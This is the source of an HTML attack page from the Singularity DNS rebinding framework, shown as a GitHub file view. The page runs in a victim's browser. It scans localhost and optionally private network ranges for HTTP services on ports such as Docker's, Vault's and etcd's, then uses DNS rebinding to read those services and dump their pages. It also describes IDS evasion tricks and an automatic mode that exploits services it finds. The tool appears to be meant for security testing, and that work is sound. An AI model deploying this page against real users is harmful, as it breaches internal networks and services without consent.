singularity/html/autoattack.html at master · security-geeks/singularity · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
<!doctype html>
<html lang="en">
<!--
    A sample fully automated attack that scans a local network for HTTP services,
    attempts to fetch the home page via DNS rebinding
    and dumps it to the developer console in case of success.
    All options are described in more details below.
-->

<head>
    <title>Singularity of Origin DNS Rebinding Automatic Attack</title>
    <script src="manager.js"></script>
    <script src=scan-manager.js></script>
    <meta charset="utf-8">
    <meta http-equiv="x-dns-prefetch-control" content="off">
</head>

<body id="body" style="display: none">
    The home page of vulnerable services will be dumped in the browser developer console.
    <script>
        // Load configuration from manager-config.json
        let configuration = {};

        // Fetch configuration from manager-config.json
        fetch('/manager-config.json')
            .then(response => response.json())
            .then(config => {
                configuration = {
                    attackHostIPAddress: config.attackHostIPAddress,
                    attackHostDomain: config.attackHostDomain,

                    /* Rebinding Strategy section*/
                    // Select one of these strategy per target:

                    // "FromQueryFirstThenSecond":
                    // Default, conservative. Use interval: "20" when choosing this strategy.
                    rebindingStrategy: config.rebindingStrategy,

                    // "FromQueryMultiA":
                    // Multiple DNS answers (fast)
                    // Rebinding in approximately 3 sec. Use interval: "1" when choosing this strategy.
                    // Works against localhost only, specifically:
                    // 0.0.0.0 when target is Linux/macos/Unix, and 127.0.0.1 when target is Windows based.
                    // rebindingStrategy: 'ma',

                    // "FromQueryRoundRobin":
                    // Round robin. Slower. Use for IPS/filters evasion or when DNS requests arrive out of sync.
                    // Use for IPS/filters evasion or when DNS requests arrive out of sync.
                    // rebindingStrategy: 'rr',

                    // "FromQueryRandom":
                    // Random. Slower. Use for IPS/filters evasion or when DNS requests arrive out of sync.
                    //  Use for IPS/filters evasion or when DNS requests arrive out of sync.
                    // rebindingStrategy: 'rd',

                    /* Rebinding Strategy section ends*/

                    // Choose one of Singularity's attack payload to deliver to the victim host or write your own.
                    // 'Simple Fetch Get' fetches the '/' page of target and log it to the console.
                    attackPayload: 'Simple Fetch Get',
                    // 'automatic' will attempt to detect services and automatically exploit them
                    // with all payloads available to Singularity!
                    //attackPayload: 'automatic',

                    // Interval in second to retry detecting a successful rebind.
                    // Use "20" for all rebinding strategies except for "FromQueryMultiA", where "1" will work.
                    interval: config.interval,

                    // Attack using the Fetch API ('fetch'), or iframes ('iframe')
                    // Fetch API works with most browsers, but is blocked by Chrome by most (but not all) target configurations.
                    // Inline Frame should work with most browsers, unless the target application does not allow rendering in an iframe.
                    attackMethod: config.attackMethod,

                    // Flush Chrome DNS browser cache to improve DNS Rebinding attack speed.
                    flushDns: config.flushDns,

                    // One of several tricks to determine
                    // whether we are pointing against the attacker or the victim domain.
                    indexToken: config.indexToken,

                    // Change the Websockets / Proxy port if you started Singularity with a different value.
                    wsProxyPort: config.wsProxyPort,

                    // show a blank page or not.
                    hideActivity: false,

                    // Rebind a headless browser. Default is false.
                    delayDOMLoad: false,
                };

                // Set the callback on successful rebinding a frame
                // msg contains a frame msg
                configuration.rebindingSuccessFn = (msg) => {
                    console.log(`Iframe reports attack successful for ${msg.origin}\n${msg.data.response}`);
                }

                //Update the Singularity app configuration
                app.getConfiguration().setManually(configuration);

                // Initialize the attack after configuration is loaded
                initializeAttack();
            })
            .catch(error => {
                console.error('Failed to load configuration:', error);
                document.getElementById("activity").innerHTML = "Error loading configuration. Please check manager-config.json";
            });

        function initializeAttack() {
            // Specify the target address specification below.
            // IDS evasion tricks - try the following targets:
            //   * "0.0.0.0" for Linux/macos/Unix platforms
            //   * 127.0.0.2
            //   * "localhost" for Firefox, Chrome
            //   * a CNAME such as "jenkins.internal-organization-domain.local"
            let addrSpec = `127.0.0.1,0.0.0.0`;

            // Specify whether Singularity should search for and attack more addresses
            // that may be accessible by the target browser, *in addition* to the above targets.
            // Further targets are currently discovered using:
            //  - WebRTC address leak when available, and inference of the private net. addresses range
            //  - detection of target router's external address
            let searchForMoreAddresses = false;

            // Specify a port range to scan and attack
            // WARNING: You must ensure that Singularity listens on all these ports at startup for now.
            const portSpec = '80,8080-8082,2376,8200,3000,4000,2379,9333';

            // When scanning for services, we need to implement two callbacks:
            // scanFoundNewTargetCb() is invoked when a target was found to listen for HTTP requests on a given port.
            function scanFoundNewTargetCb(result) {
                console.log(result);
                document.getElementById("activity").innerHTML += JSON.stringify(result, null, 4) + "<br/>";

                // start DNS rebinding attack against target.
                // we double encode dash "-" if we send a CNAME for singularity to exploit instead of an IP address.
                // last parameter is set to true to optimize for speed if frame match certain conditions
                app.attackTarget(result.target.address.replace("-", "--"), result.target.port, true);
            }

            // scanDoneCb() is invoked when the scan was completed.
            function scanDoneCb(results) {
                document.getElementById("activity").innerHTML += "Done.<br/>";
                setTimeout(function () {
                    sm.shutDown();
                }, 3000);
                setTimeout(function () {
                    delaydomloadframe.src = "about:blank";
                }, 90000);
            }

            // Implement a sample attack
            // if we can obtain our local IP address (Chrome and Firefox only),
            // Then scan 127.0.0.1, 0.0.0.0 and local_ip_address/24
            // Otherwise scan 127.0.0.1, 0.0.0.0 and 192.168.1.1-254
            // We also include our external IP address
            // to exploit weak end system model in consumer/small business routers
            // Then fetch '/' and log to console.
            async function getLocalIpAddressesThenScan() {
                sm = ScanManager();
                const externalAddress = await getMyExternalIpAddress();
                addrSpec = `${addrSpec},${externalAddress}`;
                getLocalIpAddress()
                    .then(address => {
                        const range = `${address.split('.', 3).join('.')}.1-254`;
                        sm.run(`${addrSpec},${range}`, portSpec, scanFoundNewTargetCb, scanDoneCb);
                    },
                        e => {
                            console.log(e);
                            sm.run(`${addrSpec},192.168.1.1-254`, portSpec, scanFoundNewTargetCb, scanDoneCb);

                        })
            }

            // and go!

            if (searchForMoreAddresses === true) {
                getLocalIpAddressesThenScan();
            } else {
                sm = ScanManager();
                sm.run(`${addrSpec}`, portSpec, scanFoundNewTargetCb, scanDoneCb);
            }
        }
    </script>

    <h3>Scanning Progress</h3>
    <div id="activity"></div>
    <h3>DNS Rebinding Progress</h3>
    <div id=attackframes></div>
    <iframe id=delaydomloadframe src="/delaydomload" style="display: none"></iframe>
</body>

</html>